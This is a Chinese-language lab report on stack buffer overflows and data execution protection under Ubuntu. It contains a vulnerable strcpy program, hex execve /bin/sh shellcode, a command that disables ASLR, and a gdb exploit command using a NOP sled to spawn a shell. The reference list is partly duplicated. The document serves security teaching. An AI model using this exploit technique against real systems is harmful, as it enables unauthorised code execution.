缓冲区溢出与数据执行保护DEP实验

实验环境

虚拟机:VirtualBox 6.1.30
操作系统:Ubuntu21.04
主机OS:Microsoft Windows10

实验要求

  1. 在关闭数据执行保护机制下,在Linux系统平台上实现缓冲区溢出攻击
  2. 开启数据执行保护机制,运行一样的溢出攻击代码,比较实验现象

缓冲区溢出概述

  1. 定义
    • 缓冲区是指被程序内部使用或存放用户输入的内存区域,而溢出是指计算机向缓冲区填充数据时超出了缓冲区本身的容量,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
    • 由于堆栈是由内存高地址向内存低地址方向增长,而数组的变量是从内存低地址向高地址方向增长。如果没有对数据的越界进行检查和限制,通过向程序的数组缓冲区写入超出其长度的内容,覆盖堆栈原来的返回地址,就会造成缓冲区溢出,从而破坏程序的堆栈。如果构造特殊的注入向量覆盖返回地址,使程序转而执行恶意代码,就达到攻击的目的。
  2. 作用
    • 使程序崩溃,进行拒绝服务攻击
    • 在程序的地址空间里安排适当的代码。
  3. 原因
    • 程序没有仔细检查用户输入

数据执行保护DEP

  1. 原因
    在冯·诺依曼体系中不区分代码和数据

  2. 基本原理
    将数据所在内存页标识为不可执行,阻止数据页执行代码。当程序溢出成功尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

    image-20220407102843249

  3. 缺点

    • 硬件DEP需要CPU的支持,但并不是所有的CPU都提供了硬件DEP的支持
    • 由于兼容性的原因Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如一些第三方的插件DLL,由于无法确认其是否支持DEP,对涉及这些DLL的程序不敢贸然开启DEP保护
    • 当DEP工作在最主要的两种状态optin和optout下时,DEP是可以被动态关闭和开启的,这就说明操作系统提供了某些API函数来控制DEP的状态,而API的调用没有任何限制

栈溢出

  1. 函数调用栈
    • 运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等
    • 在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大
    • 函数状态主要涉及三个寄存器
      • ebp 存储当前执行函数的基地址,在函数运行时不变,常用来索引确定函数参数或局部变量的位置。
      • esp 存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
      • eip 存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,然后eip 自动指向下一条指令

实验内容

  1. 编写可溢出程序

    // filename:bof.c
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv){
    	char buf[128];// buf是一个函数的局部变量,放在栈上
    	if(argc < 2) return 1;
    	strcpy (buf ,argv[1]);// 将调用程序后面的输入赋值到buf中,可能溢出
    	printf("argv[1]:%s\n", buf);
    	return 0;
    }
    
    • 溢出原因:strcpy函数赋值对于目的字符数组的空间溢出不进行检查
      image-20220412162711635

    • 使用如下指令编译程序
      gcc -z execstack -fno-stack-protector bof.c -o bof -m32

      • -z execstack:关闭栈保护执行,即栈内的数据页可以作为指令执行

      • -fno-stack-protector:

        禁用栈保护canary,如果启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中这个cookie信息称为canary。

  2. 编写shellcode

    • 定义:通常用于为攻击者启动一个能控制受害者机器的shell的一小段代码

    • Syscall的系统调用函数
      int execve(const char *filename, char *const argv[], char * envp[]);

      • 设置execve的系统调用号:%eax = 0xb
      • 第一个参数filename:%ebx指向系统调用文件字符串的首地址,字符串末尾为’/0’
      • argv:要传递给程序的完整参数列表,一般是执行程序的名字,使用%ecx指向
      • envp:指向执行execed程序的专门环境指针,使用%edx指向
    • 编写shellcode

      // filename:shellcode.c
      #include <stdio.h>
      void shellcode(){
      	__asm__(
      	"xor %eax,%eax\n\t"		// 将eax寄存器异或处理值为0
      	"pushl %eax\n\t"		// 将0压入栈,push相当于pushl
      	"push $0x68732f2f\n\t"	// 将“//sh”压入栈,//是为了凑4个字节对齐
      	"push $0x6e69622f\n\t"	// 将“/bin”压入栈
      	"movl %esp,%ebx\n\t"	// 将栈底指针ebx赋值为当前栈顶指针esp
      	"pushl %eax\n\t"		// 将0压入栈中
      	"pushl %ebx\n\t"		// 将字符串“//sh/bin/0”的首地址压入栈中
      	"movl %esp,%ecx\n\t"	// 让ecx指向ebx
      	"cltd\n\t"				// 让eax拓展到edx:eax,即edx设置为0
      	"movb $0xb,%al\n\t"		// 将execve的功能号赋值给eax的低八位
      	"int $0x80\n\t"			// 使用软中断进行系统调用
      	);
      }
      int main(int argc, char **argv){
      	shellcode();
      	return 0;
      }
      
    • 编译shellcode
      gcc -m32 -o shellcode shellcode.c
      image-20220413103138629

    • 反汇编shellcode
      objdump –d shellcode | less

      image-20220413103801240

    • 实现16进制的shellcode

      //filename: shellcode_asm.c
      #include<stdio.h>
      #include<string.h>
      int main(){
      	char shellcode[]=
      		"\x31\xc0\x50\x68\x2f\x2f"
      		"\x73\x68\x68\x2f\x62\x69"
      		"\x6e\x89\xe3\x50\x53\x89"
      		"\xe1\x99\xb0\x0b\xcd\x80";
      	void (*fp)(void);
      	fp = (void*)shellcode;
      	fp();
      	return 0;
      }
      

      gcc -z execstack -m32 -o shellcode shellcode_asm.c
      image-20220413103306547

  3. 关闭地址随机化ASLR保护机制
    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

  4. 测试数组长度

    gcc -z execstack -fno-stack-protector bof.c -o bof -m32
    gdb -q --args ./bof $(python -c 'print "A" * 120 + "BBBB"+"CCCC"')   
    

    image-20220413104200859

    • 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用$x/200wx $esp - 200,找到字符A的连续值为41的起始地址shellAddress,再将shellAdderss覆盖到返回地址即可
  5. 成功

    gcc -z execstack -fno-stack-protector bof.c -o bof -m32
    gdb -q --args ./bof $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x98\xd3\xff\xff"')          
    
    • '\x90’表示NOP,即cpu向下滑动的控指令,因为编译过程可能增加变量导致地址改变,因此增加NOP,只要命中NOP中的一个即可向下滑动到shellcode执行

    image-20220413105131211 ![image-20220413105137339](https://img-blog.csdnimg.cn/img_convert/9ddc4eb5ad9f9f7aed547e06d25a77d8.png)

参考资料

  1. 缓冲区溢出实验https://blog.csdn.net/qq_38217427/article/details/105647504
  2. 缓冲区溢出攻击的分析及防范策略
    http://www.doczj.com/doc/acdc2c586d1aff00bed5b9f3f90f76c660374c00-3.html
  3. 栈溢出从入门到放弃https://zhuanlan.zhihu.com/p/25816426
  4. Windows 缓冲区溢出与数据执行保护DEP
    http://blog.csdn.net/morewindows/article/details/6887136
  5. 缓冲区溢出(栈溢出)https://www.cnblogs.com/tcctw/p/11487645.html
  6. 栈溢出综合知识https://space.bilibili.com/521870525/channel/seriesdetail?sid=665628
  7. Canary保护机制(栈保护)的开启与关闭
    https://blog.csdn.net/ConlinderFeng/article/details/108436147
  8. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
    ail?sid=665628
  9. Canary保护机制(栈保护)的开启与关闭
    https://blog.csdn.net/ConlinderFeng/article/details/108436147
  10. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153